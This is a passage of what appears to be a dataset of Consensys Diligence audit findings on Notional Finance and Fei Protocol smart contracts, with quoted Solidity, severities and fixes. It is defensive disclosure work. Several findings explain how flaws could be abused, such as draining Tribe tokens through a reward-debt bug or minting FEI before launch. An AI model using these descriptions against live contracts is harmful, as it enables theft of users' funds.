vaultAccount.fCash=vaultAccount.fCash+vaultConfig.assetRate.convertToUnderlying(assetToken.convertToExternal(vaultShareValue/vaultConfig.liquidationRate)) However, later this account is set on storage, and, considering it is going through 100% liquidation, the account will necessarily be below minimum borrow size and will need to be at vaultAccount.fCash==0. contracts-v2/contracts/internal/vaults/VaultAccount.sol:L52-L62 function setVaultAccount(VaultAccount memory vaultAccount, VaultConfig memory vaultConfig) internal { mapping(address => mapping(address => VaultAccountStorage)) storage store = LibStorage .getVaultAccount(); VaultAccountStorage storage s = store[vaultAccount.account][vaultConfig.vault]; // The temporary cash balance must be cleared to zero by the end of the transaction require(vaultAccount.tempCashBalance == 0); // dev: cash balance not cleared // An account must maintain a minimum borrow size in order to enter the vault. If the account // wants to exit under the minimum borrow size it must fully exit so that we do not have dust // accounts that become insolvent. require(vaultAccount.fCash == 0 || vaultConfig.minAccountBorrowSize <= vaultAccount.fCash.neg(), \"Min Borrow\"); The case where vaultAccount.fCash>0 is taken care of by taking any extra repaid value and assigning it to the protocol, zeroing out the account s balances: contracts-v2/contracts/external/actions/VaultAccountAction.sol:L293 if (vaultAccount.fCash > 0) vaultAccount.fCash = 0; The case where vaultAccount.fCash < 0 is however not addressed, and instead the process will revert. This will occur whenever the vaultShareValue discounted with the liquidation rate is less than the fCash debt after all the conversions between external and underlying accounting. So, whenever the below is true, the account will not be liquidate-able. fCash>vaultShareValue/liquidationRate This is an issue because the account is still technically solvent even though it is undercollateralized, but the current implementation would simply revert until the account is entirely insolvent (still without liquidation options) or its balances are restored enough to be liquidated fully. Consider implementing a dynamic liquidation rate that becomes smaller the closer the account is to insolvency, thereby encouraging liquidators to promptly liquidate the accounts. 6 Strategy Vaults ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "6.1 Strategy vault swaps can be frontrun ", "body": " Resolution Acknowledged with a note from the Notional s team: This is a large part of the diligence process for writing strategies Description Some strategy vaults utilize borrowing one currency, swapping it for another, and then using the new currency somewhere to generate yield. For example, the CrossCurrencyfCash strategy vault could borrow USDC, swap it for DAI, and then deposit that DAI back into Notional if the DAI lending interest rates are greater than USDC borrowing interest rates. However, during vault settlement the assets would need to be swapped back into the original borrow currency. Since these vaults control the borrowed assets that go only into white-listed strategies, the Notional system allows users to borrow multiples of their posted collateral and claim the yield from a much larger position. As a result, these strategy vaults would likely have significant funds being borrowed and managed into these strategies. However, as mentioned above, these strategies usually utilize a trading mechanism to swap borrowed currencies into whatever is required by the strategy, and these trades may be quite large. In fact, the BaseStrategyVault implementation contains functions that interact with Notional s trading module to assist with those swaps: strategy-vaults/contracts/vaults/BaseStrategyVault.sol:L100-L127 /// @notice Can be used to delegate call to the TradingModule's implementation in order to execute /// a trade. function _executeTrade( uint16 dexId, Trade memory trade ) internal returns (uint256 amountSold, uint256 amountBought) { (bool success, bytes memory result) = nProxy(payable(address(TRADING_MODULE))).getImplementation() .delegatecall(abi.encodeWithSelector(ITradingModule.executeTrade.selector, dexId, trade)); require(success); (amountSold, amountBought) = abi.decode(result, (uint256, uint256)); /// @notice Can be used to delegate call to the TradingModule's implementation in order to execute /// a trade. function _executeTradeWithDynamicSlippage( uint16 dexId, Trade memory trade, uint32 dynamicSlippageLimit ) internal returns (uint256 amountSold, uint256 amountBought) { (bool success, bytes memory result) = nProxy(payable(address(TRADING_MODULE))).getImplementation() .delegatecall(abi.encodeWithSelector( ITradingModule.executeTradeWithDynamicSlippage.selector, dexId, trade, dynamicSlippageLimit ); require(success); (amountSold, amountBought) = abi.decode(result, (uint256, uint256)); Although some strategies may manage stablecoin <-> stablecoin swaps that typically would incur low slippage, large size trades could still suffer from low on-chain liquidity and end up getting frontrun and sandwiched by MEV bots or other actors, thereby extracting maximum amount from the strategy vault swaps as slippage permits. This could be especially significant during vaults settlements, that can be initiated by anyone, as lending currencies may be swapped in large batches and not do it on a per-account basis. For example with the CrossCurrencyfCash vault, it can only enter settlement if all strategy tokens (lending currency in this case) are gone and swapped back into the borrow currency: strategy-vaults/contracts/vaults/CrossCurrencyfCashVault.sol:L141-L143 if (vaultState.totalStrategyTokens == 0) { NOTIONAL.settleVault(address(this), maturity); As a result, in addition to the risk of stablecoins getting off-peg, unfavorable market liquidity conditions and arbitrage-seeking actors could eat into the profits generated by this strategy as per the maximum allowed slippage. However, during settlement the strategy vaults don t have the luxury of waiting for the right conditions to perform the trade as the borrows need to repaid at their maturities. So, the profitability of the vaults, and therefore users, could suffer due to potential low market liquidity allowing high slippage and risks of being frontrun with the chosen strategy vaults currencies. Recommendation Ensure that the currencies chosen to generate yield in the strategy vaults have sufficient market liquidity on exchanges allowing for low slippage swaps. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "6.2 Cross currency strategy should not have same lend and borrow currencies ", "body": " Description Cross currency strategy currently takes lend and borrow currencies as the initialization arguments. Due to the way strategy and TradingModule are implemented, the strategy will not operate correctly if lend and borrow currencies are the same. Despite those arguments being passed exclusively by the Notional team, there is still a possibility of incorrect arguments being used. Examples strategy-vaults/contracts/vaults/CrossCurrencyfCashVault.sol:L77-L82 function initialize( string memory name_, uint16 borrowCurrencyId_, uint16 lendCurrencyId_, uint64 settlementSlippageLimit_ ) external initializer { Recommendation We suggest adding a require check in the initialization function of the CrossCurrencyfCashVault.sol that will ensure that lend and borrow currencies are different. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/07/notional-finance/"}, {"title": "3.1 TribalChief - A wrong user.rewardDebt value is calculated during the withdrawFromDeposit function call ", "body": " Description When withdrawing a single deposit, the reward debt is updated: contracts/staking/TribalChief.sol:L468-L474 uint128 virtualAmountDelta = uint128( ( amount * poolDeposit.multiplier ) / SCALE_FACTOR ); // Effects poolDeposit.amount -= amount; user.rewardDebt = user.rewardDebt - toSigned128(user.virtualAmount * pool.accTribePerShare) / toSigned128(ACC_TRIBE_PRECISION); user.virtualAmount -= virtualAmountDelta; pool.virtualTotalSupply -= virtualAmountDelta; Instead of the user.virtualAmount in reward debt calculation, the virtualAmountDelta should be used. Because of that bug, the reward debt is much lower than it would be, which means that the reward itself will be much larger during the harvest. By making multiple deposit-withdraw actions, any user can steal all the Tribe tokens from the contract. Recommendation Use the virtualAmountDelta instead of the user.virtualAmount. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.2 TribalChief - Setting the totalAllocPoint to zero shouldn t be allowed ", "body": " Description TribalChief.updatePool will revert in the case totalAllocPoint = 0, which will essentially cause users funds and rewards to be locked. Recommendation TribalChief.add and TribalChief.set should assert that totalAllocPoint > 0. A similar validation check should be added to TribalChief.updatePool as well. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.3 TribalChief - Unlocking users funds in a pool where a multiplier has been increased is missing ", "body": " Description When a user deposits funds to a pool, the current multiplier in use for this pool is being stored locally for this deposit. The value that is used later in a withdrawal operation is the local one, and not the one that is changing when a governor calls governorAddPoolMultiplier. It means that a decrease in the multiplier value for a given pool does not affect users that already deposited, but an increase does. Users that had already deposited should have the right to withdraw their funds when the multiplier for their pool increases by the governor. Examples code/contracts/staking/TribalChief.sol:L143-L158 function governorAddPoolMultiplier( uint256 _pid, uint64 lockLength, uint64 newRewardsMultiplier ) external onlyGovernor { PoolInfo storage pool = poolInfo[_pid]; uint256 currentMultiplier = rewardMultipliers[_pid][lockLength]; // if the new multplier is less than the current multiplier, // then, you need to unlock the pool to allow users to withdraw if (newRewardsMultiplier < currentMultiplier) { pool.unlocked = true; rewardMultipliers[_pid][lockLength] = newRewardsMultiplier; emit LogPoolMultiplier(_pid, lockLength, newRewardsMultiplier); Recommendation Replace the < operator with > in TribalChief line 152. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.4 TribalChief - Unsafe down-castings ", "body": " Description TribalChief consists of multiple unsafe down-casting operations. While the usage of types that can be packed into a single storage slot is more gas efficient, it may introduce hidden risks in some cases that can lead to loss of funds. Examples Various instances in TribalChief, including (but not necessarily only) : code/contracts/staking/TribalChief.sol:L429 user.rewardDebt = int128(user.virtualAmount * pool.accTribePerShare) / toSigned128(ACC_TRIBE_PRECISION); code/contracts/staking/TribalChief.sol:L326 pool.accTribePerShare = uint128(pool.accTribePerShare + ((tribeReward * ACC_TRIBE_PRECISION) / virtualSupply)); code/contracts/staking/TribalChief.sol:L358 userPoolData.rewardDebt += int128(virtualAmountDelta * pool.accTribePerShare) / toSigned128(ACC_TRIBE_PRECISION); Recommendation Given the time constraints of this audit engagement, we could not verify the implications and provide mitigation actions for each of the unsafe down-castings operations. However, we do recommend to either use numeric types that use 256 bits, or to add proper validation checks and handle these scenarios to avoid silent over/under-flow errors. Keep in mind that reverting these scenarios can sometimes lead to a denial of service, which might be harmful in some cases. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.5 EthCompoundPCVDeposit - should provide means to recover ETH ", "body": " Description The CToken to be used is configured on EthCompoundPCVDeposit deployment. It is not checked, whether the provided CToken address is actually a valid CToken. If the configured CToken ceases to work correctly (e.g. CToken.mint|redeem* disabled or the configured CToken address is invalid), ETH held by the contract may be locked up. Recommendation In CompoundPCVDepositBase consider verifying, that the CToken constructor argument is actually a valid CToken by checking require(ctoken.isCToken(), \"not a valid CToken\"). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.6 TribalChief - Governor decrease of pool s allocation point should unlock depositors funds ", "body": " Description When the TribalChief governor decreases the ratio between the allocation point (PoolInfo.allocPoint) and the total allocation point (totalAllocPoint) for a specific pool (either be directly decreasing PoolInfo.allocPoint of a given pool, or by increasing this value for other pools), the total reward for this pool is decreased as well. Depositors should be able to withdraw their funds immediately after this kind of change. Examples code/contracts/staking/TribalChief.sol:L252-L261 function set(uint256 _pid, uint128 _allocPoint, IRewarder _rewarder, bool overwrite) public onlyGovernor { totalAllocPoint = (totalAllocPoint - poolInfo[_pid].allocPoint) + _allocPoint; poolInfo[_pid].allocPoint = _allocPoint.toUint64(); if (overwrite) { rewarder[_pid] = _rewarder; emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite); Recommendation Make sure that depositors funds are unlocked for pools that affected negatively by calling TribalChief.set. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.7 TribalChief - new block reward retrospectively takes effect on pools that have not been updated recently ", "body": " Description When the governor updates the block reward tribalChiefTribePerBlock the new reward is applied for the outstanding duration of blocks in updatePool. This means, if a pool hasn t updated in a while (unlikely) the new block reward is retrospectively applied to the pending duration instead of starting from when the block reward changed. Examples rewards calculation code/contracts/staking/TribalChief.sol:L323-L327 if (virtualSupply > 0) { uint256 blocks = block.number - pool.lastRewardBlock; uint256 tribeReward = (blocks * tribePerBlock() * pool.allocPoint) / totalAllocPoint; pool.accTribePerShare = uint128(pool.accTribePerShare + ((tribeReward * ACC_TRIBE_PRECISION) / virtualSupply)); updating the block reward code/contracts/staking/TribalChief.sol:L111-L116 /// @notice Allows governor to change the amount of tribe per block /// @param newBlockReward The new amount of tribe per block to distribute function updateBlockReward(uint256 newBlockReward) external onlyGovernor { tribalChiefTribePerBlock = newBlockReward; emit NewTribePerBlock(newBlockReward); Recommendation It is recommended to update pools before changing the block reward. Document and make users aware that the new reward is applied to the outstanding duration when calling updatePool. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.8 TribalChief - duplicate import SafeERC20 ", "body": " Description Duplicate import for SafeERC20. Examples code/contracts/staking/TribalChief.sol:L7-L8 import \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\"; import \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\"; Recommendation Remove duplicate import line. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.9 TribalChief - resetRewards should emit an event ", "body": " Description The method resetRewards silently resets a pools tribe allocation. Examples code/contracts/staking/TribalChief.sol:L263-L275 /// @notice Reset the given pool's TRIBE allocation to 0 and unlock the pool. Can only be called by the governor or guardian. /// @param _pid The index of the pool. See `poolInfo`. function resetRewards(uint256 _pid) public onlyGuardianOrGovernor { // set the pool's allocation points to zero totalAllocPoint = (totalAllocPoint - poolInfo[_pid].allocPoint); poolInfo[_pid].allocPoint = 0; // unlock all staked tokens in the pool poolInfo[_pid].unlocked = true; // erase any IRewarder mapping rewarder[_pid] = IRewarder(address(0)); Recommendation For transparency and to create an easily accessible audit trail of events consider emitting an event when resetting a pools allocation. 4 Recommendations ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "4.1 EthCompoundPCVDeposit - stick to upstream interface contract names", "body": " Recommendation Stick to the original upstream interface names to make clear with which external system the contract interacts with. Rename CEth to CEther. See original upstream interface name. code/contracts/pcv/compound/EthCompoundPCVDeposit.sol:L6-L8 interface CEth { function mint() external payable; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "4.2 CompoundPCVDepositBase - verify provided CToken address is actually a CToken", "body": " Recommendation The ctoken address provided when deploying a new *CompoundPCVDeposit is never validated. Consider adding the following check: require(_cToken.isCToken, \"not a valid CToken\"). code/contracts/pcv/compound/CompoundPCVDepositBase.sol:L25-L30 constructor( address _core, address _cToken ) CoreRef(_core) { cToken = CToken(_cToken); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "4.3 CompoundPCV - documentation & testing", "body": " Recommendation Currently, the PCV flavor is only unit-tested using a mocked CToken. Consider providing integration tests that actually integrate and operate it in a compound test environment. Provide a specification. & documentation describing the roles and functionality of the contract. Who deployes the PCVDeposit contract? Who Deploys the CToken and therefore may be in control of certain adminOnly functions of the CToken? What are the requirements for a CToken to be usable with CompoundPCVDeposit (listed/unlisted, \u2026)? Who has the potential power to borrow assets on behalf of the collateral provided? ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "4.4 TribalChief - immutable vs constant", "body": " Recommendation Constant state variables that are not initialized with the constructor can be constant instead of immutable. code/contracts/staking/TribalChief.sol:L88-L90 uint256 private immutable ACC_TRIBE_PRECISION = 1e12; /// exponent for rewards multiplier uint256 public immutable SCALE_FACTOR = 1e18; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "4.5 TribalChief - governorAddPoolMultiplier should emit a PoolLocked event", "body": " Description Users should be notified if the pool gets unlocked during a call to governorAddPoolMultiplier. Consider emitting a PoolLocked(false) event. code/contracts/staking/TribalChief.sol:L143-L158 function governorAddPoolMultiplier( uint256 _pid, uint64 lockLength, uint64 newRewardsMultiplier ) external onlyGovernor { PoolInfo storage pool = poolInfo[_pid]; uint256 currentMultiplier = rewardMultipliers[_pid][lockLength]; // if the new multplier is less than the current multiplier, // then, you need to unlock the pool to allow users to withdraw if (newRewardsMultiplier < currentMultiplier) { pool.unlocked = true; rewardMultipliers[_pid][lockLength] = newRewardsMultiplier; emit LogPoolMultiplier(_pid, lockLength, newRewardsMultiplier); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "4.6 TribalChief - updatePool invocation inside _harvest should be moved to harvest instead", "body": " Description When TribalChief.withdrawAllAndHarvest is executed, there s a redundant invocation of TribalChief.updatePool that caused by TribalChief._harvest, that can be moved to TribalChief.harvest instead. Examples code/contracts/staking/TribalChief.sol:L485-L515 function _harvest(uint256 pid, address to) private { updatePool(pid); PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; // assumption here is that we will never go over 2^128 -1 int256 accumulatedTribe = int256( uint256(user.virtualAmount) * uint256(pool.accTribePerShare) ) / int256(ACC_TRIBE_PRECISION); // this should never happen require(accumulatedTribe >= 0 || (accumulatedTribe - user.rewardDebt) < 0, \"negative accumulated tribe\"); uint256 pendingTribe = uint256(accumulatedTribe - user.rewardDebt); // if pending tribe is ever negative, revert as this can cause an underflow when we turn this number to a uint require(pendingTribe.toInt256() >= 0, \"pendingTribe is less than 0\"); // Effects user.rewardDebt = int128(accumulatedTribe); // Interactions if (pendingTribe != 0) { TRIBE.safeTransfer(to, pendingTribe); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onSushiReward( pid, msg.sender, to, pendingTribe, user.virtualAmount); emit Harvest(msg.sender, pid, pendingTribe); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/fei-tribechief/"}, {"title": "3.1 GenesisGroup.commit overwrites previously-committed values ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#16. Description commit allows anyone to commit purchased FGEN to a swap that will occur once the genesis group is launched. This commitment may be performed on behalf of other users, as long as the calling account has sufficient allowance: code/contracts/genesis/GenesisGroup.sol:L87-L94 function commit(address from, address to, uint amount) external override onlyGenesisPeriod { burnFrom(from, amount); committedFGEN[to] = amount; totalCommittedFGEN += amount; emit Commit(from, to, amount); The amount stored in the recipient s committedFGEN balance overwrites any previously-committed value. Additionally, this also allows anyone to commit an amount of 0 to any account, deleting their commitment entirely. Recommendation Ensure the committed amount is added to the existing commitment. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.2 Purchasing and committing still possible after launch ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#11. Description Even after GenesisGroup.launch has successfully been executed, it is still possible to invoke GenesisGroup.purchase and GenesisGroup.commit. Recommendation Consider adding validation in GenesisGroup.purchase and GenesisGroup.commit to make sure that these functions cannot be called after the launch. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.3 UniswapIncentive overflow on pre-transfer hooks ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#15. Description Before a token transfer is performed, Fei performs some combination of mint/burn operations via UniswapIncentive.incentivize: code/contracts/token/UniswapIncentive.sol:L49-L65 function incentivize( address sender, address receiver, address operator, uint amountIn ) external override onlyFei { updateOracle(); if (isPair(sender)) { incentivizeBuy(receiver, amountIn); if (isPair(receiver)) { require(isSellAllowlisted(sender) || isSellAllowlisted(operator), \"UniswapIncentive: Blocked Fei sender or operator\"); incentivizeSell(sender, amountIn); Both incentivizeBuy and incentivizeSell calculate buy/sell incentives using overflow-prone math, then mint / burn from the target according to the results. This may have unintended consequences, like allowing a caller to mint tokens before transferring them, or burn tokens from their recipient. Examples incentivizeBuy calls getBuyIncentive to calculate the final minted value: code/contracts/token/UniswapIncentive.sol:L173-L186 function incentivizeBuy(address target, uint amountIn) internal ifMinterSelf { if (isExemptAddress(target)) { return; (uint incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation) = getBuyIncentive(amountIn); updateTimeWeight(initialDeviation, finalDeviation, weight); if (incentive != 0) { fei().mint(target, incentive); getBuyIncentive calculates price deviations after casting amount to an int256, which may overflow: code/contracts/token/UniswapIncentive.sol:L128-L134 function getBuyIncentive(uint amount) public view override returns( uint incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) { (initialDeviation, finalDeviation) = getPriceDeviations(-1 * int256(amount)); Recommendation Ensure casts in getBuyIncentive and getSellPenalty do not overflow. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.4 BondingCurve allows users to acquire FEI before launch ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#59 Description BondingCurve.allocate allocates the protocol s held PCV, then calls _incentivize, which rewards the caller with FEI if a certain amount of time has passed: code-update/contracts/bondingcurve/BondingCurve.sol:L180-L186 /// @notice if window has passed, reward caller and reset window function _incentivize() internal virtual { if (isTimeEnded()) { _initTimed(); // reset window fei().mint(msg.sender, incentiveAmount); allocate can be called before genesis launch, as long as the contract holds some nonzero PCV. By force-sending the contract 1 wei, anyone can bypass the majority of checks and actions in allocate, and mint themselves FEI each time the timer expires. Recommendation Prevent allocate from being called before genesis launch. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.5 Timed.isTimeEnded returns true if the timer has not been initialized ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#62 Description Timed initialization is a 2-step process: Timed.duration is set in the constructor: https://github.com/ConsenSys/fei-protocol-audit-2021-01/blob/d31114d834e62b4f3d4fa7b1c0b0c70fbff623a4/code-update/contracts/utils/Timed.sol#L15-L20 Timed.startTime is set when the method _initTimed is called: https://github.com/ConsenSys/fei-protocol-audit-2021-01/blob/d31114d834e62b4f3d4fa7b1c0b0c70fbff623a4/code-update/contracts/utils/Timed.sol#L43-L46 Before this second method is called, isTimeEnded() calculates remaining time using a startTime of 0, resulting in the method returning true for most values, even though the timer has not technically been started. Recommendation If Timed has not been initialized, isTimeEnded() should return false, or revert ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.6 Overflow/underflow protection ", "body": " Resolution This was partially addressed in fei-protocol/fei-protocol-core#17 by using Description Having overflow/underflow vulnerabilities is very common for smart contracts. It is usually mitigated by using SafeMath or using solidity version ^0.8 (after solidity 0.8 arithmetical operations already have default overflow/underflow protection). In this code, many arithmetical operations are used without the safe version. The reasoning behind it is that all the values are derived from the actual ETH values, so they can t overflow. On the other hand, some operations can t be checked for overflow/underflow without going much deeper into the codebase that is out of scope: code/contracts/genesis/GenesisGroup.sol:L131 uint totalGenesisTribe = tribeBalance() - totalCommittedTribe; Recommendation In our opinion, it is still safer to have these operations in a safe mode. So we recommend using SafeMath or solidity version ^0.8 compiler. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.7 Unchecked return value for IWETH.transfer call ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#12. Description In EthUniswapPCVController, there is a call to IWETH.transfer that does not check the return value: code/contracts/pcv/EthUniswapPCVController.sol:L122 weth.transfer(address(pair), amount); It is usually good to add a require-statement that checks the return value or to use something like safeTransfer; unless one is sure the given token reverts in case of a failure. Recommendation Consider adding a require-statement or using safeTransfer. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.8 GenesisGroup.emergencyExit remains functional after launch ", "body": " Resolution This was partially addressed in fei-protocol/fei-protocol-core#14 and fei-protocol/fei-protocol-core#13 by addressing the last two recommendations. Description emergencyExit is intended as an escape mechanism for users in the event the genesis launch method fails or is frozen. emergencyExit becomes callable 3 days after launch is callable. These two methods are intended to be mutually-exclusive, but are not: either method remains callable after a successful call to the other. This may result in accounting edge cases. In particular, emergencyExit fails to decrease totalCommittedFGEN by the exiting user s commitment: code/contracts/genesis/GenesisGroup.sol:L185-L188 burnFrom(from, amountFGEN); committedFGEN[from] = 0; payable(to).transfer(total); As a result, calling launch after a user performs an exit will incorrectly calculate the amount of FEI to swap: code/contracts/genesis/GenesisGroup.sol:L165-L168 uint amountFei = feiBalance() * totalCommittedFGEN / (totalSupply() + totalCommittedFGEN); if (amountFei != 0) { totalCommittedTribe = ido.swapFei(amountFei); Recommendation Ensure launch cannot be called if emergencyExit has been called Ensure emergencyExit cannot be called if launch has been called In emergencyExit, reduce totalCommittedFGEN by the exiting user s committed amount ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.9 Unchecked return value for transferFrom calls ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#12. Description There are two transferFrom calls that do not check the return value (some tokens signal failure by returning false): code/contracts/pool/Pool.sol:L121 stakedToken.transferFrom(from, address(this), amount); code/contracts/genesis/IDO.sol:L58 fei().transferFrom(msg.sender, address(pair), amountFei); It is usually good to add a require-statement that checks the return value or to use something like safeTransferFrom; unless one is sure the given token reverts in case of a failure. Recommendation Consider adding a require-statement or using safeTransferFrom. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.10 GovernorAlpha proposals may be canceled by the proposer, even after they have been accepted and queued ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#61 Description GovernorAlpha allows proposals to be canceled via cancel. To cancel a proposal, two conditions must be met by the proposer: The proposal should not already have been executed: https://github.com/ConsenSys/fei-protocol-audit-2021-01/blob/d31114d834e62b4f3d4fa7b1c0b0c70fbff623a4/code-update/contracts/dao/GovernorAlpha.sol#L206-L208 The proposer must have under proposalThreshold() TRIBE balance: https://github.com/ConsenSys/fei-protocol-audit-2021-01/blob/d31114d834e62b4f3d4fa7b1c0b0c70fbff623a4/code-update/contracts/dao/GovernorAlpha.sol#L210-L211 Recommendation Prevent proposals from being canceled unless they are in the Pending or Active states. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.11 Pool: claiming to the pool itself causes accounting issues ", "body": " Resolution This was addressed in fei-protocol/fei-protocol-core#57 Description In Pool.sol, claim(address from, address to) is used to claim staking rewards and send them to a destination address to: code-update/contracts/pool/Pool.sol:L229-L238 function _claim(address from, address to) internal returns (uint256) { (uint256 amountReward, uint256 amountPool) = redeemableReward(from); require(amountPool != 0, \"Pool: User has no redeemable pool tokens\"); _burnFrom(from, amountPool); _incrementClaimed(amountReward); rewardToken.transfer(to, amountReward); return amountReward; If the destination address to is the pool itself, the pool will burn tokens and increment the amount of tokens claimed, then transfer the reward tokens to itself. Recommendation Prevent claims from specifying the pool as a destination. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.12 Assertions that can fail ", "body": " Description In UniswapSingleEthRouter there are two assert-statements that may fail: code/contracts/router/UniswapSingleEthRouter.sol:L21 assert(msg.sender == address(WETH)); // only accept ETH via fallback from the WETH contract code/contracts/router/UniswapSingleEthRouter.sol:L48 assert(IWETH(WETH).transfer(address(PAIR), amountIn)); Since they do some sort of input validation it might be good to replace them with require-statements. I would only use asserts for checks that should never fail and failure would constitute a bug in the code. Recommendation Consider replacing the assert-statements with require-statements. An additional benefit is that this will not result in consuming all the gas in case of a violation. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "3.13 Simplify API of GenesisGroup.purchase ", "body": " Description The API of GenesisGroup.purchase could be simplified by not including the value parameter that is required to be equivalent to msg.value: code/contracts/genesis/GenesisGroup.sol:L79 require(msg.value == value, \"GenesisGroup: value mismatch\"); Using msg.value might make the API more explicit and avoid requiring msg.value == value. It can also save some gas due to fewer inputs and fewer checks. Recommendation Consider dropping the value parameter and changing the code to use msg.value instead. 4 Infrastructure Security Assessment ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.1 Clickjacking and Missing Content Security Policy ", "body": " Resolution After multiple iterations, the following Content Security Policy has been put into effect: The CSP is transmitted through the following headers: Content-Security-Policy X-Content-Security-Policy X-WebKit-CSP as well as through corresponding meta HTML tags. Additionally, the following frame-busting JavaScript code has been added to prevent Clickjacking attacks in the unlikely event that existing CSP measures fail or are bypassed: Description A content security policy (CSP) provides an added layer of protection against cross-site scripting (XSS), clickjacking, and other client-side attacks that rely on executing malicious content in the context of the website. Specifically, the lack of a content security policy allows an adversary to perform a clickjacking attack by including the target URL (such as app.fei.money) in an iframe element on their site. The attacker then uses one or more transparent layers on top of the embedded site to trick a user into performing a click action on a different element. This technique can be used to spawn malicious Metamask dialogues, tricking users into thinking that they are signing a legitimate transaction. Affected Assets All S3-hosted web sites. Recommendation It is recommended to add content security policy headers to the served responses to prevent browsers from embedding Fei-owned sites into malicious parent sites. Furthermore, CSP can be used to limit the permissions of JavaScript and CSS on the page, which can be used to further harden the deployment against a potential compromise of script dependencies. It should be noted that security headers should not only be served from Cloudfront but any public-facing endpoint. Otherwise, it will be trivial for an attacker to circumvent the security headers added by Cloudfront, e.g. by embedding the index.html file directly from the public-facing S3 bucket URL. Besides CSP headers, clickjacking can also be mitigated by directly including frame-busting JavaScript code into the served page. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.2 S3 Buckets Cleartext Communication ", "body": " Resolution Direct access to S3 buckets through Description The system s S3 buckets are configured to allow unencrypted traffic: Affected Assets arn:aws:s3:::ropsten-app.fei.money/* arn:aws:s3:::www.fei.money/* arn:aws:s3:::feiprotocol.com/* arn:aws:s3:::www.app.fei.money/* arn:aws:s3:::www.ropsten-app.fei.money/* arn:aws:s3:::app.fei.money/* arn:aws:s3:::fei.money/* Recommendation It is recommended to enforce encryption of data in transit using TLS certificates. To accomplish this, the aws:SecureTransport can be set in the S3 bucket s policies. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/01/fei-protocol/"}, {"title": "4.3 Missing Log Aggregation ", "body": " Resolution CloudFrond and CloudTrail have been enabled. These components send endpoint-related and organizational log messages into S3 buckets where they can be queried using AWS Athena. The security review process section of this report contains sample queries for Athena. Description There is no centralized system that gathers operational events of 